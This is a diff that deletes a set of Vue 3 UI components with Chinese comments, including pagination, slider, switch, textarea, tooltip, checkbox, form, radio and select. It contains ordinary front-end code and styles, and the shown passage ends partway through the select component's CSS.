function calculateAvailablePagerCount() {
// 在下一个渲染周期执行确保DOM已更新
setTimeout(() => {
const paginationEl = document.querySelector('.pagination') as HTMLElement;
if (!paginationEl) return;
const containerWidth = paginationEl.offsetWidth;
const buttonWidth = 38; // 按钮宽度包括margin
const availableWidth = containerWidth - 120; // 减去其他元素占用的空间(前后按钮等)
// 计算可以显示多少个页码按钮
const maxPagers = Math.max(3, Math.floor(availableWidth / buttonWidth) - 2); // 减2是因为第一页和最后一页始终显示
availablePagerCount.value = maxPagers;
}, 0);
}
// 监听窗口大小变化
onMounted(() => {
window.addEventListener('resize', calculateAvailablePagerCount);
// 初始计算
calculateAvailablePagerCount();
});
// 组件卸载时移除监听器
onUnmounted(() => {
window.removeEventListener('resize', calculateAvailablePagerCount);
})
// 上一页
function prev() {
const newPage = internalCurrentPage.value - 1;
if (newPage >= 1) {
handleCurrentChange(newPage);
}
}
// 下一页
function next() {
const newPage = internalCurrentPage.value + 1;
if (newPage <= pageCount.value) {
handleCurrentChange(newPage);
}
}
// 跳转到指定页
function jumpPage(page: number) {
if (page !== internalCurrentPage.value) {
handleCurrentChange(page);
}
}
// 快速向前跳转
function quickPrevPage() {
const newPage = Math.max(1, internalCurrentPage.value - 5);
if (newPage !== internalCurrentPage.value) {
handleCurrentChange(newPage);
}
}
// 快速向后跳转
function quickNextPage() {
const newPage = Math.min(pageCount.value, internalCurrentPage.value + 5);
if (newPage !== internalCurrentPage.value) {
handleCurrentChange(newPage);
}
}
</script>
<template>
<div class="pagination" v-if="shouldShow">
<div class="pagination-container">
<!-- 上一页 -->
<button
v-if="layout.includes('prev')"
class="btn-prev"
:disabled="internalCurrentPage <= 1"
@click="prev"
>
<IconFluentChevronLeft20Filled/>
</button>
<!-- 页码 -->
<ul v-if="layout.includes('pager')" class="pager">
<!-- 第一页 -->
<li
class="number"
:class="{ active: internalCurrentPage === 1 }"
@click="jumpPage(1)"
>
1
</li>
<!-- 快速向前 -->
<li
v-if="pageCount > availablePagerCount && internalCurrentPage > (availablePagerCount - Math.floor(availablePagerCount / 2))"
class="more btn-quickprev"
@click="quickPrevPage"
>
...
</li>
<!-- 中间页码 -->
<li
v-for="pager in pagers"
:key="pager"
class="number"
:class="{ active: internalCurrentPage === pager }"
@click="jumpPage(pager)"
>
{{ pager }}
</li>
<!-- 快速向后 -->
<li
v-if="pageCount > availablePagerCount && internalCurrentPage < pageCount - Math.floor(availablePagerCount / 2)"
class="more btn-quicknext"
@click="quickNextPage"
>
...
</li>
<!-- 最后一页 -->
<li
v-if="pageCount > 1"
class="number"
:class="{ active: internalCurrentPage === pageCount }"
@click="jumpPage(pageCount)"
>
{{ pageCount }}
</li>
</ul>
<!-- 下一页 -->
<button
v-if="layout.includes('next')"
class="btn-next"
:disabled="internalCurrentPage >= pageCount"
@click="next"
>
<IconFluentChevronLeft20Filled class="transform-rotate-180"/>
</button>
<!-- 每页条数选择器 -->
<div v-if="layout.includes('sizes')" class="sizes">
<select
:value="internalPageSize"
@change="handleSizeChange(Number($event.target.value))"
>
<option v-for="item in pageSizes" :key="item" :value="item">
{{ item }} /
</option>
</select>
</div>
<!-- 总数 -->
<span v-if="layout.includes('total')" class="total">
{{ total }}
</span>
</div>
</div>
</template>
<style scoped lang="scss">
.pagination {
white-space: normal;
color: var(--color-main-text);
font-weight: normal;
display: flex;
justify-content: center;
width: 100%;
.pagination-container {
display: flex;
align-items: center;
font-size: 0.875rem;
max-width: 100%;
flex-wrap: wrap;
justify-content: flex-end;
}
.btn-prev, .btn-next {
display: inline-flex;
justify-content: center;
align-items: center;
font-size: 1rem;
min-width: 1.9375rem;
height: 1.9375rem;
border-radius: 0.125rem;
cursor: pointer;
background-color: var(--color-third);
color: #606266;
border: none;
padding: 0 0.375rem;
margin: 0.25rem 0.25rem;
&:disabled {
cursor: not-allowed;
}
&:hover:not(:disabled) {
color: var(--color-select-bg);
}
}
.pager {
display: inline-flex;
list-style: none;
margin: 0;
padding: 0;
flex-wrap: wrap;
li {
display: inline-flex;
justify-content: center;
align-items: center;
font-size: 0.875rem;
min-width: 1.9375rem;
height: 1.9375rem;
line-height: 1.9375rem;
border-radius: 0.125rem;
margin: 0.25rem 0.25rem;
cursor: pointer;
background-color: var(--color-third);
border: none;
&.active {
background-color: var(--el-color-primary, #409eff);
color: #fff;
}
&.more {
color: #606266;
}
&:hover:not(.active) {
color: var(--el-color-primary, #409eff);
}
}
}
.sizes {
margin: 0.25rem 0.5rem;
select {
height: 1.9375rem;
padding: 0 0.5rem;
font-size: 0.875rem;
border-radius: 0.125rem;
border: 1px solid #dcdfe6;
background-color: #fff;
&:focus {
outline: none;
border-color: var(--el-color-primary, #409eff);
}
&:disabled {
background-color: #f5f7fa;
color: #c0c4cc;
cursor: not-allowed;
}
}
}
.total {
margin: 0.25rem 0.5rem;
font-weight: normal;
color: #606266;
}
}
</style>

View File

@@ -1,103 +0,0 @@
<script setup lang="ts">
import {computed} from 'vue';
interface IProps {
percentage: number;
showText?: boolean;
textInside?: boolean;
strokeWidth?: number;
color?: string;
format?: (percentage: number) => string;
}
const props = withDefaults(defineProps<IProps>(), {
showText: true,
textInside: false,
strokeWidth: 6,
color: '#409eff',
format: (percentage) => `${percentage}%`,
});
const barStyle = computed(() => {
return {
width: `${props.percentage}%`,
backgroundColor: props.color,
};
});
const trackStyle = computed(() => {
return {
height: `${props.strokeWidth}px`,
};
});
const progressTextSize = computed(() => {
return props.strokeWidth * 0.83 + 6;
});
const content = computed(() => {
if (typeof props.format === 'function') {
return props.format(props.percentage) || '';
} else {
return `${props.percentage}%`;
}
});
</script>
<template>
<div class="progress" role="progressbar" :aria-valuenow="percentage" aria-valuemin="0" aria-valuemax="100">
<div class="progress-bar" :style="trackStyle">
<div class="progress-bar-inner" :style="barStyle">
<div v-if="showText && textInside" class="progress-bar-text" :style="{ fontSize: progressTextSize + 'px' }">
{{ content }}
</div>
</div>
</div>
<div v-if="showText && !textInside" class="progress-bar-text" :style="{ fontSize: progressTextSize + 'px' }">
{{ content }}
</div>
</div>
</template>
<style scoped lang="scss">
.progress {
position: relative;
width: 100%;
display: flex;
align-items: center;
.progress-bar {
width: 100%;
border-radius: 100px;
background-color: var(--color-progress-bar);
overflow: hidden;
position: relative;
vertical-align: middle;
.progress-bar-inner {
position: relative;
height: 100%;
border-radius: 100px;
transition: width 0.6s ease;
text-align: right;
.progress-bar-text {
display: inline-block;
vertical-align: middle;
color: #fff;
font-size: 12px;
margin: 0 5px;
white-space: nowrap;
}
}
}
.progress-bar-text {
margin-left: 5px;
min-width: 50px;
color: var(--el-text-color-regular);
font-size: 14px;
text-align: center;
}
}
</style>

View File

@@ -1,236 +0,0 @@
<script setup lang="ts">
import {nextTick, onMounted, ref, watch} from 'vue';
const props = defineProps<{
modelValue: number;
min?: number;
max?: number;
step?: number;
disabled?: boolean;
showText?: boolean;
showValue?: boolean; // 是否显示当前值
}>();
const emit = defineEmits(['update:modelValue']);
const min = props.min ?? 0;
const max = props.max ?? 100;
const step = props.step ?? 1;
const sliderRef = ref<HTMLElement | null>(null);
const isDragging = ref(false);
const sliderLeft = ref(0);
const sliderWidth = ref(0);
const currentValue = ref(props.modelValue);
watch(() => props.modelValue, (val) => {
currentValue.value = val;
});
const valueToPercent = (value: number) => ((value - min) / (max - min)) * 100;
// 计算一个数字的小数位数
function countDecimals(value: number) {
if (Math.floor(value) === value) return 0;
const str = value.toString();
if (str.indexOf('e-') >= 0) {
// 科学计数法处理
const [, trail] = str.split('e-');
return parseInt(trail, 10);
}
return str.split('.')[1]?.length || 0;
}
// 对数值按步长对齐,并控制精度,避免浮点误差
function alignToStep(value: number, step: number) {
const decimals = countDecimals(step);
return Number((Math.round(value / step) * step).toFixed(decimals));
}
const percentToValue = (percent: number) => {
let val = min + ((max - min) * percent) / 100;
val = alignToStep(val, step);
if (val < min) val = min;
if (val > max) val = max;
return val;
};
const updateSliderRect = () => {
if (!sliderRef.value) return;
const rect = sliderRef.value.getBoundingClientRect();
sliderLeft.value = rect.left;
sliderWidth.value = rect.width;
};
const setValueFromPosition = (pageX: number) => {
let percent = ((pageX - sliderLeft.value) / sliderWidth.value) * 100;
if (percent < 0) percent = 0;
if (percent > 100) percent = 100;
currentValue.value = percentToValue(percent);
emit('update:modelValue', currentValue.value);
};
const onMouseDown = (e: MouseEvent) => {
if (props.disabled) return;
e.preventDefault();
updateSliderRect();
isDragging.value = true;
setValueFromPosition(e.pageX);
window.addEventListener('mousemove', onMouseMove);
window.addEventListener('mouseup', onMouseUp);
};
const onTouchStart = (e: TouchEvent) => {
if (props.disabled) return;
updateSliderRect();
isDragging.value = true;
setValueFromPosition(e.touches[0].pageX);
window.addEventListener('touchmove', onTouchMove);
window.addEventListener('touchend', onTouchEnd);
};
const onMouseMove = (e: MouseEvent) => {
if (!isDragging.value) return;
e.preventDefault();
setValueFromPosition(e.pageX);
};
const onTouchMove = (e: TouchEvent) => {
if (!isDragging.value) return;
setValueFromPosition(e.touches[0].pageX);
};
const onMouseUp = () => {
if (!isDragging.value) return;
isDragging.value = false;
window.removeEventListener('mousemove', onMouseMove);
window.removeEventListener('mouseup', onMouseUp);
};
const onTouchEnd = () => {
if (!isDragging.value) return;
isDragging.value = false;
window.removeEventListener('touchmove', onTouchMove);
window.removeEventListener('touchend', onTouchEnd);
};
const onClickTrack = (e: MouseEvent) => {
if (props.disabled) return;
updateSliderRect();
setValueFromPosition(e.pageX);
};
onMounted(() => {
nextTick(() => {
updateSliderRect();
window.addEventListener('resize', updateSliderRect);
});
});
</script>
<template>
<div class="w-full">
<div
ref="sliderRef"
class="custom-slider"
:class="{ 'is-disabled': disabled }"
@mousedown="onClickTrack"
@touchstart.prevent="onClickTrack"
>
<div class="custom-slider__track"></div>
<div
class="custom-slider__fill"
:style="{ width: valueToPercent(currentValue) + '%' }"
></div>
<div
class="custom-slider__thumb"
:style="{ left: valueToPercent(currentValue) + '%' }"
@mousedown.stop.prevent="onMouseDown"
@touchstart.stop.prevent="onTouchStart"
tabindex="0"
role="slider"
:aria-valuemin="min"
:aria-valuemax="max"
:aria-valuenow="currentValue"
:aria-disabled="disabled"
></div>
<div v-if="showValue" class="custom-slider__value">{{ currentValue }}</div>
</div>
<div class="text flex justify-between text-sm color-gray" v-if="showText">
<span>{{ min }}</span>
<span>{{ max }}</span>
</div>
</div>
</template>
<style scoped lang="scss">
.custom-slider {
position: relative;
width: 100%;
height: 24px;
user-select: none;
touch-action: none;
cursor: pointer;
&.is-disabled {
opacity: 0.5;
cursor: not-allowed;
}
&__track {
position: absolute;
top: 50%;
left: 0;
right: 0;
height: 6px;
background-color: #ddd;
border-radius: 2px;
transform: translateY(-50%);
}
&__fill {
position: absolute;
top: 50%;
left: 0;
height: 6px;
background-color: #409eff;
border-radius: 2px 0 0 2px;
transform: translateY(-50%);
pointer-events: none;
}
&__thumb {
position: absolute;
top: 50%;
width: 16px;
height: 16px;
background-color: #fff;
border: 2px solid #409eff;
border-radius: 50%;
transform: translate(-50%, -50%);
cursor: grab;
transition: box-shadow 0.2s;
}
&__thumb:focus {
outline: none;
box-shadow: 0 0 5px #409eff;
cursor: grabbing;
}
&__value {
position: absolute;
top: 100%;
left: 50%;
transform: translate(-50%, 4px);
font-size: 0.75rem;
color: #666;
user-select: none;
}
}
</style>

View File

@@ -1,115 +0,0 @@
<script setup lang="ts">
import {ref, computed, watch} from 'vue';
interface IProps {
modelValue: boolean;
disabled?: boolean;
width?: number; // 开关宽度,默认 40px
activeText?: string; // 开启状态显示文字
inactiveText?: string;// 关闭状态显示文字
}
const props = withDefaults(defineProps<IProps>(), {
activeText: '开',
inactiveText: '关',
})
const emit = defineEmits(['update:modelValue', 'change']);
const isChecked = ref(props.modelValue);
watch(() => props.modelValue, (val) => {
isChecked.value = val;
});
const toggle = () => {
if (props.disabled) return;
isChecked.value = !isChecked.value;
emit('update:modelValue', isChecked.value);
emit('change', isChecked.value);
};
const onKeydown = (e: KeyboardEvent) => {
if (e.code === 'Space' || e.key === ' ') {
e.preventDefault();
toggle();
}
};
const switchWidth = computed(() => props.width ?? 40);
const switchHeight = computed(() => (switchWidth.value / 2) | 0);
const ballSize = computed(() => switchHeight.value - 4);
</script>
<template>
<div
class="switch"
:class="{ 'checked': isChecked, 'disabled': disabled }"
:tabindex="disabled ? -1 : 0"
role="switch"
:aria-checked="isChecked"
@click="toggle"
@keydown="onKeydown"
:style="{ width: switchWidth + 'px', height: switchHeight + 'px' ,borderRadius: switchHeight + 'px'}"
>
<transition name="fade">
<span class="text left" v-if="isChecked && activeText">{{ activeText }}</span>
</transition>
<div
class="ball"
:style="{
width: ballSize + 'px',
height: ballSize + 'px',
transform: isChecked ? 'translateX(' + (switchWidth - ballSize - 2) + 'px)' : 'translateX(2px)'
}"
></div>
<transition name="fade">
<span class="text right" v-if="!isChecked && inactiveText">{{ inactiveText }}</span>
</transition>
</div>
</template>
<style scoped lang="scss">
.switch {
display: inline-flex;
align-items: center;
cursor: pointer;
user-select: none;
outline: none;
background-color: #DCDFE6;
position: relative;
transition: background-color 0.3s;
&.disabled {
cursor: not-allowed;
opacity: 0.6;
}
&.checked {
background-color: #409eff;
}
.ball {
background-color: #fff;
border-radius: 50%;
transition: transform 0.3s;
box-shadow: 0 0 2px rgba(0, 0, 0, 0.2);
position: absolute;
}
.text {
position: absolute;
font-size: 0.75rem;
color: #fff;
user-select: none;
&.left {
margin-left: 6px;
}
&.right {
right: 6px;
}
}
}
</style>

View File

@@ -1,111 +0,0 @@
<template>
<div class="inline-flex w-full relative"
:class="[disabled && 'disabled']"
>
<textarea
ref="textareaRef"
v-model="innerValue"
:placeholder="placeholder"
:maxlength="maxlength"
:rows="rows"
:disabled="disabled"
:style="textareaStyle"
class="w-full px-3 py-2 border border-gray-300 rounded-md outline-none resize-none transition-colors duration-200 box-border"
@input="handleInput"
/>
<!-- 字数统计 -->
<span
v-if="showWordLimit && maxlength"
class="absolute bottom-1 right-2 text-xs text-gray-400 select-none"
>
{{ innerValue.length }} / {{ maxlength }}
</span>
</div>
</template>
<script setup lang="ts">
import {ref, watch, computed, nextTick} from "vue"
const props = defineProps<{
modelValue: string,
placeholder?: string,
maxlength?: number,
rows?: number,
autosize: boolean | { minRows?: number; maxRows?: number }
showWordLimit?: boolean
disabled?: boolean
}>()
const emit = defineEmits(["update:modelValue"])
const innerValue = ref(props.modelValue ?? "")
watch(() => props.modelValue, v => (innerValue.value = v ?? ""))
const textareaRef = ref<HTMLTextAreaElement>()
// 样式(用于控制高度)
const textareaStyle = computed(() => {
return props.autosize ? {height: "auto"} : {}
})
// 输入处理
const handleInput = (e: Event) => {
const val = (e.target as HTMLTextAreaElement).value
innerValue.value = val
emit("update:modelValue", val)
if (props.autosize) nextTick(resizeTextarea)
}
// 自动调整高度
const resizeTextarea = () => {
if (!textareaRef.value) return
const el = textareaRef.value
el.style.height = "auto"
let height = el.scrollHeight
let overflow = "hidden"
if (typeof props.autosize === "object") {
const {minRows, maxRows} = props.autosize
const lineHeight = 24 // 行高约等于 24px
if (minRows) height = Math.max(height, minRows * lineHeight)
if (maxRows) {
const maxHeight = maxRows * lineHeight
if (height > maxHeight) {
height = maxHeight
overflow = "auto" // 超出时允许滚动
}
}
}
el.style.height = height + "px"
el.style.overflowY = overflow
}
watch(innerValue, () => {
if (props.autosize) nextTick(resizeTextarea)
}, {immediate: true})
</script>
<style>
.disabled {
opacity: 0.5;
textarea {
cursor: not-allowed !important;
}
}
textarea {
font-family: var(--font-family);
color: var(--color-input-color);
background: var(--color-input-bg);
@apply text-base;
&:focus {
outline: none;
border-color: #409eff;
box-shadow: 0 0 3px #409eff;
}
}
</style>

View File

@@ -1,86 +0,0 @@
<script lang="jsx">
import {Teleport, Transition} from 'vue'
export default {
name: "Tooltip",
components: {
Teleport,
Transition
},
props: {
title: {
type: String,
default() {
return ''
}
},
disabled: {
type: Boolean,
default() {
return false
}
}
},
data() {
return {
show: false
}
},
methods: {
showPop(e) {
if (this.disabled) return
if (!this.title && !this.$slots?.reference) return;
e.stopPropagation()
let rect = e.target.getBoundingClientRect()
this.show = true
this.$nextTick(() => {
let tip = this.$refs?.tip?.getBoundingClientRect()
if (!tip) return
if (rect.top < 50) {
this.$refs.tip.style.top = rect.top + rect.height + 10 + 'px'
} else {
this.$refs.tip.style.top = rect.top - tip.height - 10 + 'px'
}
let tipWidth = tip.width
let rectWidth = rect.width
this.$refs.tip.style.left = rect.left - (tipWidth - rectWidth) / 2 + 'px'
// onmouseleave={() => this.show = false}
})
},
},
render() {
let DefaultNode = this.$slots.default()[0]
let ReferenceNode = this.$slots?.reference?.()?.[0]
return <>
<Transition name="fade">
<Teleport to="body">
{this.show && (
<div ref="tip" class="tip">
{ReferenceNode ? <ReferenceNode/> : this.title}
</div>
)}
</Teleport>
</Transition>
<DefaultNode
onClick={() => this.show = false}
onmouseenter={(e) => this.showPop(e)}
onmouseleave={() => this.show = false}
/>
</>
}
}
</script>
<style lang="scss" scoped>
.tip {
position: fixed;
font-size: 1rem;
z-index: 9999;
border-radius: .3rem;
padding: 0.4rem .8rem;
color: var(--color-font-1);
background: var(--color-tooltip-bg);
max-width: 22rem;
box-shadow: 0 0 6px 1px var(--color-tooltip-shadow);
}
</style>

View File

@@ -1,75 +0,0 @@
<template>
<label class="checkbox" @click.stop>
<input
type="checkbox"
:checked="modelValue"
@change="change"
/>
<span class="checkbox-box">
<span class="checkbox-inner"></span>
</span>
<span class="checkbox-label"><slot/></span>
</label>
</template>
<script setup lang="ts">
defineProps({
modelValue: Boolean
})
const emit = defineEmits(['update:modelValue', 'click', 'onChange'])
function change($event) {
emit('update:modelValue', $event.target.checked)
emit('onChange', $event.target.checked)
}
</script>
<style lang="scss" scoped>
.checkbox {
display: inline-flex;
align-items: center;
cursor: pointer;
user-select: none;
input {
display: none;
}
.checkbox-box {
position: relative;
width: 16px;
height: 16px;
border: 1px solid #dcdfe6;
border-radius: 2px;
background-color: #fff;
margin-right: 8px;
transition: all 0.3s;
.checkbox-inner {
position: absolute;
top: 3px;
left: 3px;
width: 10px;
height: 10px;
background-color: #409eff;
opacity: 0;
transition: opacity 0.3s;
border-radius: 1px;
}
}
input:checked + .checkbox-box .checkbox-inner {
opacity: 1;
}
&:hover .checkbox-box {
border-color: #409eff;
}
.checkbox-label {
font-size: 14px;
color: #606266;
}
}
</style>

View File

@@ -1,44 +0,0 @@
<template>
<form @submit.prevent>
<slot/>
</form>
</template>
<script setup lang="ts">
import {ref, provide, watch, toRef} from 'vue'
interface Field {
prop: string
modelValue: any
validate: (rules: any[]) => boolean
}
const props = defineProps({
model: Object,
rules: Object // { word: [{required:true,...}, ...], name: [...] }
})
const fields = ref<Field[]>([])
const registerField = (field: Field) => {
fields.value.push(field)
}
// 校验整个表单
const validate = (cb): boolean => {
let valid = true
fields.value.forEach(f => {
const fieldRules = props.rules?.[f.prop] || []
const res = f.validate(fieldRules)
if (!res) valid = false
})
cb(valid)
}
provide('registerField', registerField)
provide('formModel', toRef(props, 'model'))
provide('formValidate', validate)
provide('formRules', props.rules)
defineExpose({validate})
</script>

View File

@@ -1,73 +0,0 @@
<script setup lang="tsx">
import {inject, onMounted, ref, useSlots} from 'vue'
const props = defineProps({
prop: String,
label: String,
})
const value = ref('')
let error = $ref('')
// 拿到 form 的 model 和注册函数
const formModel = inject<ref>('formModel')
const registerField = inject('registerField')
const formRules = inject('formRules', {})
const myRules = $computed(() => {
return formRules?.[props.prop] || []
})
// 校验函数
const validate = (rules) => {
error = ''
const val = formModel.value[props.prop]
for (const rule of rules) {
if (rule.required && (!val || !val.toString().trim())) {
error = rule.message
return false
}
if (rule.max && val && val.toString().length > rule.max) {
error = rule.message
return false
}
}
return true
}
// 自动触发 blur 校验
const handleBlur = () => {
const blurRules = myRules.filter((r) => r.trigger === 'blur')
if (blurRules.length) validate(blurRules)
}
// 注册到 Form
onMounted(() => {
registerField && registerField({prop: props.prop, modelValue: value, validate})
})
let slot = useSlots()
defineRender(() => {
let DefaultNode = slot.default()[0]
return <div class="form-item mb-6 flex gap-space">
{props.label &&
<label class="w-20 flex items-start mt-1 justify-end">
{myRules.length ? <span class="form-error">*</span> : null} {props.label}
</label>}
<div class="flex-1 relative">
<DefaultNode onBlur={handleBlur}/>
<div class="form-error absolute top-[100%] anim" style={{opacity: error ? 1 : 0}}>{error}</div>
</div>
</div>
})
</script>
<style scoped lang="scss">
.form-item {
.form-error {
color: #f56c6c;
font-size: 0.8rem;
}
}
</style>

View File

@@ -1,121 +0,0 @@
<template>
<label
:class="['radio', sizeClass, { 'is-disabled': isDisabled, 'is-checked': isChecked }]"
@click.prevent="onClick"
>
<input
type="radio"
class="hidden"
:value="value"
:disabled="isDisabled"
/>
<span class="radio__inner"></span>
<span class="radio__label">
<slot>{{ label }}</slot>
</span>
</label>
</template>
<script setup lang="ts">
import {inject, computed} from 'vue'
const props = defineProps({
value: [String, Number, Boolean],
label: [String, Number, Boolean],
disabled: {type: Boolean, default: false}
})
// 注入父组状态
const radioGroupValue = inject<any>('radioGroupValue', null)
const radioGroupSize = inject('radioGroupSize', 'default')
const radioGroupDisabled = inject<boolean>('radioGroupDisabled', false)
const updateRadioGroupValue = inject<Function>('updateRadioGroupValue', null)
const sizeClass = computed(() => `radio--${radioGroupSize}`)
// 是否禁用
const isDisabled = computed(() => props.disabled || radioGroupDisabled)
// 是否选中
const isChecked = computed(() => radioGroupValue?.value === props.value)
// 选中时通知父组件
function onClick() {
if (isDisabled.value) return
updateRadioGroupValue?.(props.value)
}
</script>
<style scoped>
.radio {
display: inline-flex;
align-items: center;
cursor: pointer;
user-select: none;
flex-shrink: 0;
&.is-disabled {
cursor: not-allowed;
opacity: 0.6;
}
.radio__inner {
width: 16px;
height: 16px;
border-radius: 50%;
display: inline-block;
margin-right: 6px;
position: relative;
box-sizing: border-box;
background: white;
&::after {
content: '';
position: absolute;
top: 50%;
left: 50%;
width: 5px;
height: 5px;
background-color: #409eff;
border-radius: 50%;
transform: translate(-50%, -50%) scale(0);
transition: transform 0.2s ease-in-out;
}
}
.radio__label {
font-size: 14px;
color: #606266;
}
&.is-checked {
.radio__inner {
background-color: #409eff;
}
.radio__label {
color: #409eff;
}
.radio__inner::after {
background-color: white;
transform: translate(-50%, -50%) scale(1);
}
}
}
.radio--small {
.radio__inner {
width: 14px;
height: 14px;
}
}
.radio--large {
.radio__inner {
width: 20px;
height: 20px;
}
}
</style>

View File

@@ -1,35 +0,0 @@
<template>
<div class="flex gap-5" v-bind="$attrs">
<slot/>
</div>
</template>
<script setup lang="ts">
import {provide, ref, watch} from 'vue'
const props = defineProps({
modelValue: [String, Number, Boolean],
disabled: {type: Boolean, default: false},
size: {type: String, default: 'default'} // small / default / large
})
const emit = defineEmits(['update:modelValue'])
const groupValue = ref(props.modelValue)
// 提供给子组件
provide('radioGroupSize', props.size)
provide('radioGroupValue', groupValue)
provide('radioGroupDisabled', props.disabled)
provide('updateRadioGroupValue', (val: string | number | boolean) => {
if (props.disabled) return
groupValue.value = val
emit('update:modelValue', val)
})
// 外部 v-model 更新同步
watch(() => props.modelValue, (val) => {
groupValue.value = val
})
</script>

View File

@@ -1,75 +0,0 @@
<script setup lang="ts">
import { inject, computed, watch } from 'vue';
const props = defineProps<{
label: string;
value: any;
disabled?: boolean;
}>();
// 通过inject获取ElSelect提供的数据和方法
const selectValue = inject('selectValue', null);
const selectHandler = inject('selectHandler', null);
// 计算当前选项是否被选中
const isSelected = computed(() => {
return selectValue === props.value;
});
// 点击选项时调用ElSelect提供的方法
const handleClick = () => {
if (props.disabled) return;
if (selectHandler) {
selectHandler(props.value, props.label);
}
};
// 监听props变化确保在props更新时重新计算isSelected
watch(() => props.value, () => {}, { immediate: true });
</script>
<template>
<li
class="option"
:class="{
'is-selected': isSelected,
'is-disabled': disabled
}"
@click="handleClick"
>
<slot>
<span class="option__label">{{ label }}</span>
</slot>
</li>
</template>
<style scoped lang="scss">
.option {
display: flex;
align-items: center;
padding: 0.2rem 1rem;
cursor: pointer;
transition: background-color 0.3s;
&:hover {
background-color: var(--color-third);
}
&.is-selected {
color: var(--color-select-bg);
font-weight: bold;
background-color: var(--color-third);
}
&.is-disabled {
color: #c0c4cc;
cursor: not-allowed;
}
&__label {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
}
</style>

View File

@@ -1,314 +0,0 @@
<script setup lang="ts">
import {computed, nextTick, onBeforeUnmount, onMounted, provide, ref, useAttrs, useSlots, VNode, watch} from 'vue';
import {useWindowClick} from "@/hooks/event.ts";
interface Option {
label: string;
value: any;
disabled?: boolean;
}
const props = defineProps<{
modelValue: any;
placeholder?: string;
disabled?: boolean;
options?: Option[];
}>();
const emit = defineEmits(['update:modelValue']);
const attrs = useAttrs();
const isOpen = ref(false);
const isReverse = ref(false);
const dropdownStyle = ref({}); // Teleport 用的样式
const selectedOption = ref<Option | null>(null);
const selectRef = ref<HTMLDivElement | null>(null);
const dropdownRef = ref<HTMLDivElement | null>(null);
const slots = useSlots();
const displayValue = computed(() => {
return selectedOption.value
? selectedOption.value.label
: props.placeholder || '请选择';
});
const updateDropdownPosition = async () => {
if (!selectRef.value || !dropdownRef.value) return;
// 等待 DOM 完全渲染(尤其是下拉框高度)
await nextTick();
await new Promise(requestAnimationFrame);
const rect = selectRef.value.getBoundingClientRect();
const dropdownHeight = dropdownRef.value.offsetHeight;
const spaceBelow = window.innerHeight - rect.bottom;
const spaceAbove = rect.top;
isReverse.value = spaceBelow < dropdownHeight && spaceAbove > spaceBelow;
dropdownStyle.value = {
position: 'fixed',
left: rect.left + 'px',
width: rect.width + 'px',
top: !isReverse.value
? rect.bottom + 5 + 'px'
: 'auto',
bottom: isReverse.value
? window.innerHeight - rect.top + 5 + 'px'
: 'auto',
zIndex: 9999
};
};
const toggleDropdown = async () => {
if (props.disabled) return;
isOpen.value = !isOpen.value;
if (isOpen.value) {
await nextTick();
await new Promise(requestAnimationFrame);
await updateDropdownPosition();
}
};
const selectOption = (value: any, label: string) => {
selectedOption.value = {value, label};
emit('update:modelValue', value);
isOpen.value = false;
};
let selectValue = $ref(props.modelValue);
provide('selectValue', selectValue);
provide('selectHandler', selectOption);
useWindowClick((e: PointerEvent) => {
if (!e) return;
if (
selectRef.value &&
!selectRef.value.contains(e.target as Node) &&
dropdownRef.value &&
!dropdownRef.value.contains(e.target as Node)
) {
isOpen.value = false;
}
});
watch(() => props.modelValue, (newValue) => {
selectValue = newValue;
if (slots.default) {
let slot = slots.default();
let list = [];
if (slot.length === 1) {
list = Array.from(slot[0].children as Array<VNode>);
} else {
list = slot;
}
const option = list.find(opt => opt.props.value === newValue);
if (option) {
selectedOption.value = option.props;
}
return;
}
if (props.options) {
const option = props.options.find(opt => opt.value === newValue);
if (option) {
selectedOption.value = option;
}
}
}, {immediate: true});
watch(() => props.options, (newOptions) => {
if (newOptions && props.modelValue) {
const option = newOptions.find(opt => opt.value === props.modelValue);
if (option) {
selectedOption.value = option;
}
}
}, {immediate: true});
const handleOptionClick = (option: Option) => {
if (option.disabled) return;
selectOption(option.value, option.label);
};
const onScrollOrResize = () => {
if (isOpen.value) updateDropdownPosition();
};
onMounted(() => {
window.addEventListener('scroll', onScrollOrResize, true);
window.addEventListener('resize', onScrollOrResize);
});
onBeforeUnmount(() => {
window.removeEventListener('scroll', onScrollOrResize, true);
window.removeEventListener('resize', onScrollOrResize);
});
</script>
<template>
<div
class="select"
v-bind="attrs"
:class="{ 'is-disabled': disabled, 'is-active': isOpen, 'is-reverse': isReverse }"
ref="selectRef"
>
<div class="select__wrapper" @click="toggleDropdown">
<div class="select__label" :class="{ 'is-placeholder': !selectedOption }">
{{ displayValue }}
</div>
<div class="select__suffix">
<IconFluentChevronLeft20Filled
class="arrow"
:class="{ 'is-reverse': isOpen }"
width="16"
/>
</div>
</div>
<teleport to="body">
<transition :name="isReverse ? 'zoom-in-bottom' : 'zoom-in-top'" :key="isReverse ? 'bottom' : 'top'">
<div
class="select__dropdown"
v-if="isOpen"
ref="dropdownRef"
:style="dropdownStyle"
>
<ul class="select__options">
<li
v-if="options"
v-for="(option, index) in options"
:key="index"
class="select__option"
:class="{
'is-selected': option.value === modelValue,
'is-disabled': option.disabled
}"
@click="handleOptionClick(option)"
>
{{ option.label }}
</li>
<slot v-else></slot>
</ul>
</div>
</transition>
</teleport>
</div>
</template>
<style scoped lang="scss">
.select {
position: relative;
width: 100%;
font-size: 1rem;
&__wrapper {
display: flex;
align-items: center;
justify-content: space-between;
height: 2rem;
padding: 0 0.5rem;
border: 1px solid var(--color-input-border);
border-radius: 0.25rem;
background-color: var(--color-input-bg, #fff);
cursor: pointer;
transition: all 0.3s;
&:hover {
border-color: var(--color-select-bg);
}
}
&__label {
flex: 1;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
&.is-placeholder {
color: #999;
}
}
&__suffix {
display: flex;
align-items: center;
color: #999;
.arrow {
transform: rotate(-90deg);
transition: transform 0.3s;
}
.is-reverse {
transform: rotate(90deg);
}
}
}
.select__dropdown {
max-height: 200px;
overflow-y: auto;
background-color: #fff;
border: 1px solid var(--color-input-border);
border-radius: 0.25rem;
box-shadow: 0 2px 12px 0 rgba(0, 0, 0, 0.1);
}
.select__options {
margin: 0;
padding: 0;
list-style: none;
}
.select__option {
padding: 0.5rem;
cursor: pointer;
transition: background-color 0.3s;
&:hover {
background-color: #f5f7fa;
}
&.is-selected {
color: var(--color-select-bg);
font-weight: bold;
background-color: #f5f7fa;
}
}
.is-disabled {
opacity: 0.7;
cursor: not-allowed;
}
/* 往下展开的动画 */
.zoom-in-top-enter-active,
.zoom-in-top-leave-active {
transition: transform 0.3s cubic-bezier(0.23, 1, 0.32, 1),
